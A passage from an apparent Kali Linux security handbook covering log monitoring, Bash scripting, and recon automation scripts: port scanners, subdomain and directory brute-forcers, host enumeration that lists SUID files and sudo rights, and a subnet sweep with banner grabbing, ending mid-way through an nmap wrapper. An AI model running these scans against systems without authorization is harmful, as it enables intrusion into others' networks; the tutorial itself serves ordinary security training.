4.7.2 Monitoring Tools\n\n**Real-time Monitoring**:\n\n```bash\n# Follow logs\ntail -f /var/log/syslog\njournalctl -f\n\n# System monitoring\nhtop\niotop\nnethogs\n```\n\n**Log Analysis**:\n\n```bash\n# Search logs\ngrep -r \"Failed password\" /var/log/\njournalctl -u ssh --since \"1 hour ago\"\n\n# Log analysis tools\napt install -y lnav\nlnav /var/log/\n\n# Auditd for detailed auditing\napt install -y auditd\nauditctl -w /etc/passwd -p wa -k passwd_changes\nausearch -k passwd_changes\n```\n\n#### 4.7.3 Remote Logging\n\n**Syslog-ng Configuration**:\n\n```bash\n# Install syslog-ng\napt install -y syslog-ng\n\n# Configure client\ncat &gt;&gt; /etc/syslog-ng/syslog-ng.conf &lt;&lt; EOF\ndestination d_remote {\n    syslog(\"192.168.1.100\" port(514));\n};\nlog {\n    source(s_src);\n    destination(d_remote);\n};\nEOF\n```\n\n**Log Security**:\n\n```bash\n# Protect logs\nchmod 640 /var/log/auth.log\nchmod 750 /var/log\n\n# Log integrity\napt install -y aide\naideinit\nmv /var/lib/aide/aide.db.new /var/lib/aide/aide.db\naide --check\n```\n\n---\n\n# \ud83d\udcd8 PART II \u2014 CORE LINUX &amp; SHELL MASTERY\n\n## Chapter 5 \u2014 Bash and Shell Scripting\n\n### 5.1 Shell Fundamentals\n\nThe Bash shell is the primary interface for interacting with Kali Linux and automating security tasks.\n\n#### 5.1.1 Shell Types and Startup\n\n**Shell Types**:\n\n```bash\n# Interactive shell\nbash\nzsh\nsh\n\n# Login vs non-login shells\n# Login shell: Reads ~/.profile, ~/.bash_profile\n# Non-login: Reads ~/.bashrc\n\n# Check shell type\necho $0\nshopt -q login_shell &amp;&amp; echo \"Login shell\" || echo \"Not login shell\"\n```\n\n**Startup Files**:\n\n```bash\n# System-wide configuration\n/etc/profile\n/etc/bash.bashrc\n/etc/profile.d/*\n\n# User-specific\n~/.bash_profile\n~/.bash_login\n~/.profile\n~/.bashrc\n~/.bash_logout\n\n# Order of execution\n1. /etc/profile\n2. ~/.bash_profile (or ~/.profile)\n3. ~/.bashrc (if interactive)\n```\n\n#### 5.1.2 Shell Environment\n\n**Environment Variables**:\n\n```bash\n# Common variables\n$HOME          # User home directory\n$PATH          # Executable search path\n$PWD           # Current working directory\n$USER          # Current username\n$SHELL         # Current shell\n$TERM          # Terminal type\n$LANG          # Language settings\n$PS1           # Prompt string\n\n# View all environment variables\nenv\nprintenv\nset\n\n# Set variables\nexport EDITOR=vim\nexport PATH=$PATH:/custom/path\nMYVAR=\"value\"  # Local variable\n```\n\n**Shell Options**:\n\n```bash\n# Set shell options\nset -o option    # Enable\nset +o option    # Disable\n\n# Useful options\nset -u           # Error on undefined variables\nset -e           # Exit on error\nset -x           # Print commands before execution\nset -o pipefail  # Pipeline returns last error\n\n# Check options\necho $-          # Current options\nset -o           # List all options\n```\n\n### 5.2 Variables &amp; Environment\n\n#### 5.2.1 Variable Types\n\n**Variable Declaration**:\n\n```bash\n# Simple assignment\nname=\"John\"\nnumber=42\narray=(one two three)\n\n# Read-only variables\nreadonly PI=3.14159\n\n# Variable attributes\ndeclare -i intvar=10     # Integer\ndeclare -r readonlyvar    # Read-only\ndeclare -l lowercase=\"ABC\" # Auto lowercase\ndeclare -u uppercase=\"abc\" # Auto uppercase\ndeclare -a arrayvar        # Array\ndeclare -A assoc_array     # Associative array\n```\n\n**Variable Expansion**:\n\n```bash\n# Basic expansion\necho $name\necho ${name}\n\n# Default values\necho ${var:-default}      # Use default if unset\necho ${var:=default}      # Set default if unset\necho ${var:?error}        # Error if unset\necho ${var:+value}        # Use value if set\n\n# String manipulation\nstr=\"Hello World\"\necho ${#str}               # Length: 11\necho ${str:6}              # Substring from pos 6: World\necho ${str:6:3}            # Substring length 3: Wor\necho ${str#Hello}          # Remove prefix: World\necho ${str%World}          # Remove suffix: Hello\necho ${str/World/There}    # Replace: Hello There\n```\n\n**Indirect Expansion**:\n\n```bash\n# Indirect variables\nvarname=\"PATH\"\necho ${!varname}           # Expands to $PATH\n\n# Dynamic variable names\nfor i in {1..3}; do\n    declare var$i=\"value$i\"\ndone\necho $var1 $var2 $var3\n```\n\n#### 5.2.2 Special Variables\n\n**Positional Parameters**:\n\n```bash\n#!/bin/bash\necho \"Script name: $0\"\necho \"First arg: $1\"\necho \"Second arg: $2\"\necho \"All args: $@\"\necho \"Args count: $#\"\necho \"All args as string: $*\"\n\n# Shift parameters\nshift\necho \"After shift, first arg: $1\"\n```\n\n**Process Status**:\n\n```bash\n$?    # Exit status of last command\n$$    # Current shell PID\n$!    # PID of last background job\n$-    # Current shell options\n$_    # Last argument of previous command\n```\n\n### 5.3 Loops &amp; Conditionals\n\n#### 5.3.1 Conditional Statements\n\n**if-then-elif-else**:\n\n```bash\n#!/bin/bash\n\n# Basic if\nif [ condition ]; then\n    commands\nfi\n\n# if-else\nif [ condition ]; then\n    commands\nelse\n    commands\nfi\n\n# if-elif-else\nif [ condition1 ]; then\n    commands\nelif [ condition2 ]; then\n    commands\nelse\n    commands\nfi\n\n# Example\nif [ -f \"/etc/passwd\" ]; then\n    echo \"Password file exists\"\nelif [ -f \"/etc/master.passwd\" ]; then\n    echo \"Master password file exists\"\nelse\n    echo \"No password file found\"\nfi\n```\n\n**case Statement**:\n\n```bash\n#!/bin/bash\n\ncase \"$1\" in\n    start)\n        echo \"Starting service...\"\n        ;;\n    stop)\n        echo \"Stopping service...\"\n        ;;\n    restart|reload)\n        echo \"Restarting service...\"\n        ;;\n    *)\n        echo \"Usage: $0 {start|stop|restart}\"\n        exit 1\n        ;;\nesac\n\n# Pattern matching\ncase \"$filename\" in\n    *.txt)\n        echo \"Text file\"\n        ;;\n    *.jpg|*.png|*.gif)\n        echo \"Image file\"\n        ;;\n    *)\n        echo \"Unknown type\"\n        ;;\nesac\n```\n\n#### 5.3.2 Loops\n\n**for Loops**:\n\n```bash\n# Traditional for\nfor i in 1 2 3 4 5; do\n    echo \"Number: $i\"\ndone\n\n# Range\nfor i in {1..10}; do\n    echo $i\ndone\n\n# Step range\nfor i in {0..10..2}; do\n    echo $i  # 0,2,4,6,8,10\ndone\n\n# C-style for\nfor ((i=0; i&lt;10; i++)); do\n    echo $i\ndone\n\n# Loop over files\nfor file in /etc/*.conf; do\n    echo \"Processing: $file\"\n    wc -l \"$file\"\ndone\n\n# Loop over array\nfruits=(\"apple\" \"banana\" \"orange\")\nfor fruit in \"${fruits[@]}\"; do\n    echo \"Fruit: $fruit\"\ndone\n\n# Loop with command substitution\nfor user in $(cut -d: -f1 /etc/passwd); do\n    echo \"User: $user\"\ndone\n```\n\n**while Loops**:\n\n```bash\n# Basic while\ncount=1\nwhile [ $count -le 10 ]; do\n    echo $count\n    ((count++))\ndone\n\n# Reading files\nwhile IFS= read -r line; do\n    echo \"Line: $line\"\ndone &lt; /etc/passwd\n\n# Reading command output\nwhile read -r ip; do\n    ping -c 1 \"$ip\" &gt; /dev/null &amp;&amp; echo \"$ip is up\"\ndone &lt; ips.txt\n\n# Infinite loop\nwhile true; do\n    echo \"Press Ctrl+C to exit\"\n    sleep 1\ndone\n\n# Until loop (opposite of while)\ncount=1\nuntil [ $count -gt 10 ]; do\n    echo $count\n    ((count++))\ndone\n```\n\n**Loop Control**:\n\n```bash\n# break - exit loop\nfor i in {1..10}; do\n    if [ $i -eq 5 ]; then\n        break\n    fi\n    echo $i\ndone\n\n# continue - skip iteration\nfor i in {1..10}; do\n    if [ $((i % 2)) -eq 0 ]; then\n        continue\n    fi\n    echo $i  # Only odd numbers\ndone\n\n# break with label\nouterloop: for i in {1..3}; do\n    for j in {1..3}; do\n        if [ $i -eq 2 -a $j -eq 2 ]; then\n            break outerloop\n        fi\n        echo \"$i,$j\"\n    done\ndone\n```\n\n### 5.4 Functions\n\n#### 5.4.1 Function Definition\n\n**Function Syntax**:\n\n```bash\n# Method 1\nfunction_name() {\n    commands\n    [return value]\n}\n\n# Method 2\nfunction function_name {\n    commands\n    [return value]\n}\n\n# Example\ngreet() {\n    echo \"Hello, $1!\"\n    return 0\n}\n\n# Call function\ngreet \"John\"\n```\n\n**Function Arguments**:\n\n```bash\n#!/bin/bash\n\nprint_args() {\n    echo \"Function name: $0\"\n    echo \"First arg: $1\"\n    echo \"All args: $@\"\n    echo \"Number of args: $#\"\n}\n\nprint_args arg1 arg2 arg3\n\n# Function with optional arguments\nconnect() {\n    local host=${1:-localhost}\n    local port=${2:-80}\n    echo \"Connecting to $host:$port\"\n}\n```\n\n#### 5.4.2 Local Variables\n\n**Variable Scope**:\n\n```bash\n#!/bin/bash\n\nglobal_var=\"I'm global\"\n\nmyfunc() {\n    local local_var=\"I'm local\"\n    global_var=\"Modified global\"\n    echo \"Inside function: $local_var\"\n    echo \"Inside function: $global_var\"\n}\n\nmyfunc\necho \"Outside: $global_var\"\necho \"Outside: $local_var\"  # Empty (not accessible)\n```\n\n**Return Values**:\n\n```bash\n#!/bin/bash\n\n# Return status (0-255)\nis_root() {\n    if [ $EUID -eq 0 ]; then\n        return 0  # Success\n    else\n        return 1  # Failure\n    fi\n}\n\nif is_root; then\n    echo \"Running as root\"\nelse\n    echo \"Not running as root\"\nfi\n\n# Return string via echo\nget_user_info() {\n    local user=$1\n    local home=$(grep \"^$user:\" /etc/passwd | cut -d: -f6)\n    echo \"$home\"\n}\n\nuser_home=$(get_user_info \"john\")\necho \"Home directory: $user_home\"\n```\n\n#### 5.4.3 Advanced Functions\n\n**Functions with Options**:\n\n```bash\n#!/bin/bash\n\nusage() {\n    echo \"Usage: $0 [-v] [-f file] [-h]\"\n    echo \"  -v    Verbose mode\"\n    echo \"  -f    Input file\"\n    echo \"  -h    Show help\"\n}\n\nprocess_file() {\n    local verbose=0\n    local file=\"\"\n    \n    while getopts \"vf:h\" opt; do\n        case $opt in\n            v) verbose=1 ;;\n            f) file=\"$OPTARG\" ;;\n            h) usage; return 0 ;;\n            *) usage; return 1 ;;\n        esac\n    done\n    \n    if [ -z \"$file\" ]; then\n        echo \"Error: No file specified\"\n        return 1\n    fi\n    \n    if [ $verbose -eq 1 ]; then\n        echo \"Processing $file verbosely\"\n    fi\n    \n    # Process file\n    cat \"$file\"\n}\n\nprocess_file -v -f /etc/passwd\n```\n\n**Recursive Functions**:\n\n```bash\n#!/bin/bash\n\n# Factorial\nfactorial() {\n    if [ $1 -le 1 ]; then\n        echo 1\n    else\n        local prev=$(factorial $(($1 - 1)))\n        echo $(($1 * prev))\n    fi\n}\n\nresult=$(factorial 5)\necho \"5! = $result\"\n\n# Directory tree traversal\nlist_files() {\n    local dir=$1\n    local prefix=$2\n    \n    for item in \"$dir\"/*; do\n        if [ -f \"$item\" ]; then\n            echo \"${prefix}File: $(basename \"$item\")\"\n        elif [ -d \"$item\" ]; then\n            echo \"${prefix}Dir: $(basename \"$item\")\"\n            list_files \"$item\" \"$prefix  \"\n        fi\n    done\n}\n\nlist_files \"/etc\" \"\"\n```\n\n### 5.5 Error Handling\n\n#### 5.5.1 Exit Status\n\n**Understanding Exit Codes**:\n\n```bash\n# Check exit status\ncommand\necho $?  # 0 = success, 1-255 = error\n\n# Common exit codes\n0   # Success\n1   # General error\n2   # Misuse of shell builtins\n126 # Command cannot execute\n127 # Command not found\n128 # Invalid exit argument\n130 # Terminated by Ctrl+C\n137 # Killed (kill -9)\n```\n\n**Using Exit Status**:\n\n```bash\n#!/bin/bash\n\n# Logical operators\ncommand1 &amp;&amp; command2  # command2 runs if command1 succeeds\ncommand1 || command2  # command2 runs if command1 fails\n\n# Example\nping -c 1 google.com &gt; /dev/null &amp;&amp; echo \"Internet up\" || echo \"Internet down\"\n\n# Check multiple commands\nif command1 &amp;&amp; command2; then\n    echo \"Both succeeded\"\nfi\n\nif command1 || command2; then\n    echo \"At least one succeeded\"\nfi\n```\n\n#### 5.5.2 Error Handling Techniques\n\n**set -e (Exit on Error)**:\n\n```bash\n#!/bin/bash\nset -e  # Exit on any error\n\necho \"Starting script\"\nls /nonexistent  # This will cause script to exit\necho \"This won't print\"  # Never reached\n```\n\n**trap for Cleanup**:\n\n```bash\n#!/bin/bash\n\ncleanup() {\n    echo \"Cleaning up...\"\n    rm -f /tmp/tempfile.$$\n    exit ${1:-0}\n}\n\n# Trap signals\ntrap cleanup EXIT     # Run on script exit\ntrap cleanup INT      # Run on Ctrl+C\ntrap cleanup TERM     # Run on termination\ntrap 'echo \"Interrupted\"; exit 1' INT\n\n# Create temp file\necho \"Working...\" &gt; /tmp/tempfile.$$\n\n# Simulate work\nsleep 30\n```\n\n**Custom Error Handler**:\n\n```bash\n#!/bin/bash\n\nerror_exit() {\n    echo \"Error: $1\" &gt;&amp;2\n    exit 1\n}\n\n# Use\nfile=\"/nonexistent\"\n[ -f \"$file\" ] || error_exit \"File $file not found\"\n\n# With line number\nerror_exit() {\n    echo \"Error (line $2): $1\" &gt;&amp;2\n    exit 1\n}\n\n[ -f \"$file\" ] || error_exit \"File not found\" $LINENO\n```\n\n#### 5.5.3 Debugging Scripts\n\n**Debugging Options**:\n\n```bash\n#!/bin/bash\nset -x  # Print commands and arguments\nset -v  # Print shell input lines\nset -n  # Check syntax without executing\n\n# Enable selectively\nset -x  # Start debugging\n# commands to debug\nset +x  # Stop debugging\n\n# Debug function\ndebug() {\n    echo \"DEBUG: $*\" &gt;&amp;2\n}\n\ndebug \"Processing file: $file\"\n```\n\n**Bash Debugger**:\n\n```bash\n# Install bashdb\napt install -y bashdb\n\n# Run script with debugger\nbashdb script.sh\n\n# Debugger commands\nn   # Next line\ns   # Step into\nc   # Continue\np   # Print variable\nq   # Quit\n```\n\n### 5.6 Automating Recon\n\n#### 5.6.1 Network Scanning Automation\n\n**Basic Port Scanner**:\n\n```bash\n#!/bin/bash\n\n# Simple port scanner\nscan_ports() {\n    local host=$1\n    local start_port=${2:-1}\n    local end_port=${3:-1024}\n    \n    echo \"Scanning $host from port $start_port to $end_port\"\n    \n    for port in $(seq $start_port $end_port); do\n        (echo &gt;/dev/tcp/$host/$port) &gt;/dev/null 2&gt;&amp;1 &amp;&amp; \\\n            echo \"Port $port is open\"\n    done\n}\n\nscan_ports scanme.nmap.org 1 1000\n```\n\n**Enhanced Scanner with Timeout**:\n\n```bash\n#!/bin/bash\n\nscan_ports() {\n    local host=$1\n    local start=$2\n    local end=$3\n    local timeout=${4:-1}\n    \n    echo \"Scanning $host ($start-$end) with timeout ${timeout}s\"\n    \n    for port in $(seq $start $end); do\n        timeout $timeout bash -c \"echo &gt;/dev/tcp/$host/$port\" 2&gt;/dev/null &amp;&amp; \\\n            echo \"Port $port is open\"\n    done\n}\n\n# Scan common ports\nscan_ports scanme.nmap.org 1 1000\n```\n\n**Parallel Scanning**:\n\n```bash\n#!/bin/bash\n\nparallel_scan() {\n    local host=$1\n    local ports=$2\n    local max_procs=${3:-10}\n    \n    echo \"Parallel scanning $host\"\n    \n    scan_port() {\n        local port=$1\n        timeout 1 bash -c \"echo &gt;/dev/tcp/$host/$port\" 2&gt;/dev/null &amp;&amp; \\\n            echo \"Port $port is open\"\n    }\n    \n    for port in $ports; do\n        scan_port $port &amp;\n        # Limit concurrent processes\n        while [ $(jobs -r | wc -l) -ge $max_procs ]; do\n            sleep 0.1\n        done\n    done\n    \n    wait  # Wait for all background jobs\n}\n\nparallel_scan \"scanme.nmap.org\" \"$(seq 1 1000)\" 20\n```\n\n#### 5.6.2 Subdomain Discovery\n\n**Subdomain Enumeration**:\n\n```bash\n#!/bin/bash\n\nenum_subdomains() {\n    local domain=$1\n    local wordlist=${2:-/usr/share/wordlists/subdomains.txt}\n    \n    if [ ! -f \"$wordlist\" ]; then\n        echo \"Wordlist not found: $wordlist\"\n        return 1\n    fi\n    \n    while read -r subdomain; do\n        host=\"$subdomain.$domain\"\n        if host \"$host\" &gt;/dev/null 2&gt;&amp;1; then\n            echo \"Found: $host\"\n        fi\n    done &lt; \"$wordlist\"\n}\n\n# Create simple wordlist\ncat &gt; /tmp/subs.txt &lt;&lt; EOF\nwww\nmail\nftp\nadmin\nblog\ndev\ntest\nstaging\napi\nEOF\n\nenum_subdomains example.com /tmp/subs.txt\n```\n\n**DNS Bruteforce with Validation**:\n\n```bash\n#!/bin/bash\n\ndns_bruteforce() {\n    local domain=$1\n    local wordlist=$2\n    local resolver=${3:-8.8.8.8}\n    \n    while read -r sub; do\n        # Use dig for DNS resolution\n        result=$(dig @$resolver \"$sub.$domain\" +short)\n        if [ -n \"$result\" ]; then\n            echo \"$sub.$domain -&gt; $result\"\n        fi\n    done &lt; \"$wordlist\"\n}\n\n# Use with progress indicator\ndns_bruteforce_progress() {\n    local domain=$1\n    local wordlist=$2\n    local total=$(wc -l &lt; \"$wordlist\")\n    local count=0\n    \n    while read -r sub; do\n        ((count++))\n        echo -ne \"Progress: $count/$total\\r\" &gt;&amp;2\n        \n        if host \"$sub.$domain\" &gt;/dev/null 2&gt;&amp;1; then\n            echo \"$sub.$domain\"\n        fi\n    done &lt; \"$wordlist\"\n    echo &gt;&amp;2  # Newline after progress\n}\n```\n\n#### 5.6.3 Web Recon Automation\n\n**HTTP Header Grabber**:\n\n```bash\n#!/bin/bash\n\nget_headers() {\n    local url=$1\n    curl -s -I -L \"$url\" || wget -S --spider \"$url\" 2&gt;&amp;1\n}\n\nanalyze_headers() {\n    local url=$1\n    local headers=$(get_headers \"$url\")\n    \n    echo \"=== Headers for $url ===\"\n    echo \"$headers\"\n    echo\n    \n    # Check security headers\n    echo \"Security Header Analysis:\"\n    echo \"$headers\" | grep -i \"server:\" &amp;&amp; echo \"  \u2713 Server header found\"\n    echo \"$headers\" | grep -i \"x-powered-by:\" &amp;&amp; echo \"  \u26a0 X-Powered-By exposed\"\n    echo \"$headers\" | grep -i \"x-frame-options:\" || echo \"  \u26a0 Missing X-Frame-Options\"\n    echo \"$headers\" | grep -i \"x-content-type-options:\" || echo \"  \u26a0 Missing X-Content-Type-Options\"\n    echo \"$headers\" | grep -i \"content-security-policy:\" || echo \"  \u26a0 Missing CSP\"\n}\n\nanalyze_headers \"https://example.com\"\n```\n\n**Directory Bruteforcer**:\n\n```bash\n#!/bin/bash\n\ndir_bruteforce() {\n    local url=$1\n    local wordlist=$2\n    local ext=${3:-\"\"}\n    local threads=${4:-10}\n    \n    # Ensure URL ends with /\n    [[ \"$url\" != */ ]] &amp;&amp; url=\"$url/\"\n    \n    scan_dir() {\n        local dir=$1\n        local full_url=\"${url}${dir}${ext}\"\n        local status=$(curl -s -o /dev/null -w \"%{http_code}\" \"$full_url\")\n        \n        case $status in\n            200) echo \"[200] FOUND: $full_url\" ;;\n            301|302) echo \"[$status] REDIRECT: $full_url\" ;;\n            403) echo \"[403] FORBIDDEN: $full_url\" ;;\n            401) echo \"[401] AUTH REQUIRED: $full_url\" ;;\n        esac\n    }\n    \n    export -f scan_dir\n    export url ext\n    \n    cat \"$wordlist\" | xargs -P $threads -I {} bash -c 'scan_dir \"$@\"' _ {}\n}\n\n# Usage\ndir_bruteforce \"http://example.com\" /usr/share/wordlists/dirb/common.txt\ndir_bruteforce \"http://example.com\" /usr/share/wordlists/dirb/common.txt \".php\"\n```\n\n### 5.7 Writing Custom Enumeration Scripts\n\n#### 5.7.1 System Enumeration\n\n**Linux Enumeration Script**:\n\n```bash\n#!/bin/bash\n\n# Linux system enumeration script\n\necho \"=== System Enumeration Report ===\"\necho \"Date: $(date)\"\necho \"Hostname: $(hostname)\"\necho\n\n# System info\necho \"=== System Information ===\"\nuname -a\necho \"Kernel: $(uname -r)\"\necho \"Architecture: $(uname -m)\"\necho \"OS: $(cat /etc/os-release | head -1)\"\necho\n\n# User info\necho \"=== User Information ===\"\necho \"Current user: $(whoami)\"\necho \"UID/GID: $(id)\"\necho \"Logged in users:\"\nwho\necho\n\necho \"=== User Accounts ===\"\ncat /etc/passwd | grep -v \"nologin\\|false\" | cut -d: -f1,3,7\necho\n\necho \"=== Sudo Access ===\"\nsudo -l 2&gt;/dev/null || echo \"No sudo access\"\necho\n\n# Network info\necho \"=== Network Information ===\"\necho \"IP Addresses:\"\nip addr show | grep -E \"inet \" | awk '{print $2}'\necho\n\necho \"Open Ports:\"\nnetstat -tulpn 2&gt;/dev/null | grep LISTEN\necho\n\necho \"Routing Table:\"\nroute -n\necho\n\necho \"DNS Servers:\"\ncat /etc/resolv.conf | grep nameserver\necho\n\n# Process info\necho \"=== Running Processes ===\"\nps auxf --forest | head -20\necho \"... (truncated)\"\necho\n\n# File system\necho \"=== File System Information ===\"\necho \"Mounts:\"\nmount | column -t\necho\n\necho \"SUID/SGID Files:\"\nfind / -type f \\( -perm -4000 -o -perm -2000 \\) -ls 2&gt;/dev/null | head -20\necho \"... (truncated)\"\necho\n\necho \"World-writable files:\"\nfind / -type f -perm -0002 -ls 2&gt;/dev/null | head -10\necho\n\n# Installed software\necho \"=== Installed Software ===\"\necho \"Package count: $(dpkg -l | wc -l)\"\necho \"Top packages by size:\"\ndpkg-query -W --showformat='${Installed-Size}\\t${Package}\\n' | sort -rn | head -10\necho\n\n# Cron jobs\necho \"=== Cron Jobs ===\"\necho \"User crontabs:\"\nls -la /var/spool/cron/crontabs/ 2&gt;/dev/null || echo \"None found\"\necho\n\necho \"System crontabs:\"\nls -la /etc/cron* 2&gt;/dev/null\necho\n\n# Security checks\necho \"=== Security Checks ===\"\necho \"Password aging info:\"\nchage -l $(whoami) 2&gt;/dev/null || echo \"Not available\"\necho\n\necho \"SSH configuration:\"\ngrep -E \"PermitRootLogin|PasswordAuthentication\" /etc/ssh/sshd_config 2&gt;/dev/null\necho\n\necho \"Firewall status:\"\nif command -v ufw &gt;/dev/null; then\n    ufw status\nelif command -v iptables &gt;/dev/null; then\n    iptables -L -n | head -10\nfi\necho\n\necho \"=== Enumeration Complete ===\"\n```\n\n**Windows Enumeration Script (Bash for WSL)**:\n\n```bash\n#!/bin/bash\n\n# Windows enumeration script for WSL\n\necho \"=== Windows System Enumeration ===\"\necho \"Date: $(date)\"\necho\n\n# System info\necho \"=== System Information ===\"\ncmd.exe /c systeminfo | grep -E \"OS Name|OS Version|System Type|Total Physical Memory\"\necho\n\n# User info\necho \"=== User Information ===\"\ncmd.exe /c whoami\necho\n\necho \"Local Users:\"\ncmd.exe /c net user\necho\n\necho \"Local Groups:\"\ncmd.exe /c net localgroup\necho\n\necho \"Administrators:\"\ncmd.exe /c net localgroup Administrators\necho\n\n# Network info\necho \"=== Network Information ===\"\necho \"IP Configuration:\"\ncmd.exe /c ipconfig /all | grep -E \"IPv4|Subnet Mask|Default Gateway\"\necho\n\necho \"Active Connections:\"\ncmd.exe /c netstat -ano | grep ESTABLISHED | head -10\necho\n\n# Process info\necho \"=== Running Processes ===\"\ncmd.exe /c tasklist | head -20\necho \"... (truncated)\"\necho\n\n# Installed software\necho \"=== Installed Software ===\"\ncmd.exe /c wmic product get name,version | head -20\necho \"... (truncated)\"\necho\n\n# Security\necho \"=== Security Settings ===\"\necho \"Firewall Status:\"\ncmd.exe /c netsh advfirewall show allprofiles | grep State\necho\n\necho \"Windows Defender:\"\ncmd.exe /c powershell -Command \"Get-MpComputerStatus\" | grep -E \"RealTimeProtectionEnabled|AntivirusEnabled\"\necho\n```\n\n#### 5.7.2 Network Enumeration Script\n\n**Comprehensive Network Scanner**:\n\n```bash\n#!/bin/bash\n\n# Network enumeration script\n\n# Configuration\nTIMEOUT=1\nTHREADS=20\nOUTPUT_DIR=\"scan_results_$(date +%Y%m%d_%H%M%S)\"\n\n# Create output directory\nmkdir -p \"$OUTPUT_DIR\"\n\nlog() {\n    echo \"[$(date '+%Y-%m-%d %H:%M:%S')] $*\" | tee -a \"$OUTPUT_DIR/scan.log\"\n}\n\n# Network discovery\ndiscover_hosts() {\n    local network=$1\n    local output=\"$OUTPUT_DIR/hosts.txt\"\n    \n    log \"Discovering hosts in $network\"\n    \n    # Convert CIDR to IP range\n    local base=$(echo $network | cut -d/ -f1)\n    local mask=$(echo $network | cut -d/ -f2)\n    \n    # Simple /24 handling\n    if [ \"$mask\" = \"24\" ]; then\n        local subnet=$(echo $base | cut -d. -f1-3)\n        \n        for i in {1..254}; do\n            (\n                if ping -c 1 -W $TIMEOUT \"$subnet.$i\" &gt;/dev/null 2&gt;&amp;1; then\n                    echo \"$subnet.$i\" &gt;&gt; \"$output\"\n                    log \"Found host: $subnet.$i\"\n                fi\n            ) &amp;\n            \n            # Limit threads\n            while [ $(jobs -r | wc -l) -ge $THREADS ]; do\n                sleep 0.1\n            done\n        done\n        wait\n    fi\n    \n    log \"Discovered $(wc -l &lt; \"$output\") hosts\"\n}\n\n# Port scanning\nscan_ports() {\n    local host=$1\n    local output=\"$OUTPUT_DIR/${host}_ports.txt\"\n    \n    log \"Scanning ports on $host\"\n    \n    # Common ports\n    local ports=\"21,22,23,25,53,80,110,111,135,139,143,443,445,993,995,1723,3306,3389,5900,8080\"\n    \n    IFS=',' read -ra PORT_ARRAY &lt;&lt;&lt; \"$ports\"\n    \n    for port in \"${PORT_ARRAY[@]}\"; do\n        (\n            if timeout $TIMEOUT bash -c \"echo &gt;/dev/tcp/$host/$port\" 2&gt;/dev/null; then\n                echo \"$port\" &gt;&gt; \"$output\"\n                log \"  Port $port open on $host\"\n                \n                # Grab banner\n                banner=$(timeout 2 bash -c \"echo -e 'HEAD / HTTP/1.0\\r\\n\\r\\n' | nc $host $port\" 2&gt;/dev/null | head -1)\n                if [ -n \"$banner\" ]; then\n                    echo \"  Banner: $banner\" &gt;&gt; \"${output%.txt}_banners.txt\"\n                fi\n            fi\n        ) &amp;\n        \n        # Limit threads\n        while [ $(jobs -r | wc -l) -ge $THREADS ]; do\n            sleep 0.1\n        done\n    done\n    wait\n}\n\n# Service detection\ndetect_services() {\n    local host=$1\n    local port=$2\n    local output=\"$OUTPUT_DIR/${host}_services.txt\"\n    \n    case $port in\n        21)\n            echo \"FTP\" &gt;&gt; \"$output\"\n            timeout 2 ftp -n \"$host\" &lt;&lt; EOF 2&gt;/dev/null | grep \"220\" &gt;&gt; \"${output%.txt}_details.txt\"\nquit\nEOF\n            ;;\n        22)\n            echo \"SSH\" &gt;&gt; \"$output\"\n            timeout 2 nc \"$host\" 22 &lt;&lt;&lt; \"SSH-2.0-test\" 2&gt;/dev/null &gt;&gt; \"${output%.txt}_details.txt\"\n            ;;\n        80|443|8080)\n            echo \"HTTP/HTTPS\" &gt;&gt; \"$output\"\n            if [ $port -eq 443 ] || [ $port -eq 8443 ]; then\n                proto=\"https\"\n            else\n                proto=\"http\"\n            fi\n            curl -s -I \"${proto}://$host:$port\" 2&gt;/dev/null | head -10 &gt;&gt; \"${output%.txt}_http_headers.txt\"\n            ;;\n        3306)\n            echo \"MySQL\" &gt;&gt; \"$output\"\n            ;;\n        3389)\n            echo \"RDP\" &gt;&gt; \"$output\"\n            ;;\n    esac\n}\n\n# OS fingerprinting\nfingerprint_os() {\n    local host=$1\n    local output=\"$OUTPUT_DIR/${host}_os.txt\"\n    \n    log \"Fingerprinting OS for $host\"\n    \n    # TTL based detection\n    ttl=$(ping -c 1 -W $TIMEOUT \"$host\" 2&gt;/dev/null | grep \"ttl=\" | sed 's/.*ttl=//' | cut -d' ' -f1)\n    \n    if [ -n \"$ttl\" ]; then\n        if [ $ttl -le 64 ]; then\n            echo \"Likely Linux/Unix (TTL: $ttl)\" &gt;&gt; \"$output\"\n        elif [ $ttl -le 128 ]; then\n            echo \"Likely Windows (TTL: $ttl)\" &gt;&gt; \"$output\"\n        elif [ $ttl -le 255 ]; then\n            echo \"Likely Cisco/Network device (TTL: $ttl)\" &gt;&gt; \"$output\"\n        else\n            echo \"Unknown OS (TTL: $ttl)\" &gt;&gt; \"$output\"\n        fi\n    fi\n    \n    # Additional fingerprinting via nmap if available\n    if command -v nmap &gt;/dev/null; then\n        nmap -O -T4 -Pn --osscan-guess \"$host\" 2&gt;/dev/null | grep \"OS details\" &gt;&gt; \"$output\"\n    fi\n}\n\n# Main execution\nmain() {\n    local network=${1:-\"192.168.1.0/24\"}\n    \n    log \"Starting network enumeration on $network\"\n    \n    discover_hosts \"$network\"\n    \n    if [ -f \"$OUTPUT_DIR/hosts.txt\" ]; then\n        while read -r host; do\n            scan_ports \"$host\"\n            \n            if [ -f \"$OUTPUT_DIR/${host}_ports.txt\" ]; then\n                while read -r port; do\n                    detect_services \"$host\" \"$port\"\n                done &lt; \"$OUTPUT_DIR/${host}_ports.txt\"\n            fi\n            \n            fingerprint_os \"$host\"\n        done &lt; \"$OUTPUT_DIR/hosts.txt\"\n    fi\n    \n    log \"Enumeration complete. Results in $OUTPUT_DIR\"\n    \n    # Generate summary\n    echo\n    echo \"=== SCAN SUMMARY ===\"\n    echo \"Hosts found: $(wc -l &lt; \"$OUTPUT_DIR/hosts.txt\")\"\n    echo \"Open ports total: $(cat \"$OUTPUT_DIR\"/*_ports.txt 2&gt;/dev/null | wc -l)\"\n    echo\n    echo \"Detailed results in: $OUTPUT_DIR\"\n}\n\n# Run if executed directly\nif [ \"$0\" = \"$BASH_SOURCE\" ]; then\n    main \"$@\"\nfi\n```\n\n### 5.8 Building Security Tool Wrappers\n\n#### 5.8.1 Nmap Wrapper\n\n**Advanced Nmap Wrapper**:\n\n```bash\n#!/bin/bash\n\n# Nmap wrapper with advanced features\n\n# Configuration\nSCAN_DIR=\"$HOME/nmap_scans\"\nDEFAULT_PROFILE=\"quick\"\n\n# Create scan directory\nmkdir -p \"$SCAN_DIR\"\n\nusage() {\n    cat &lt;&lt; EOF\nUsage: $0 [options] \n\nOptions:\n    -p    Scan profile (quick|full|vuln|udp|all)\n    -o       Output name (default: timestamp)\n    -v             Verbose output\n    -h             Show this help\n\nProfiles:\n    quick:   Common ports quick scan\n    full:    Full port scan with service detection\n    vuln:    Vulnerability scan\n    udp:     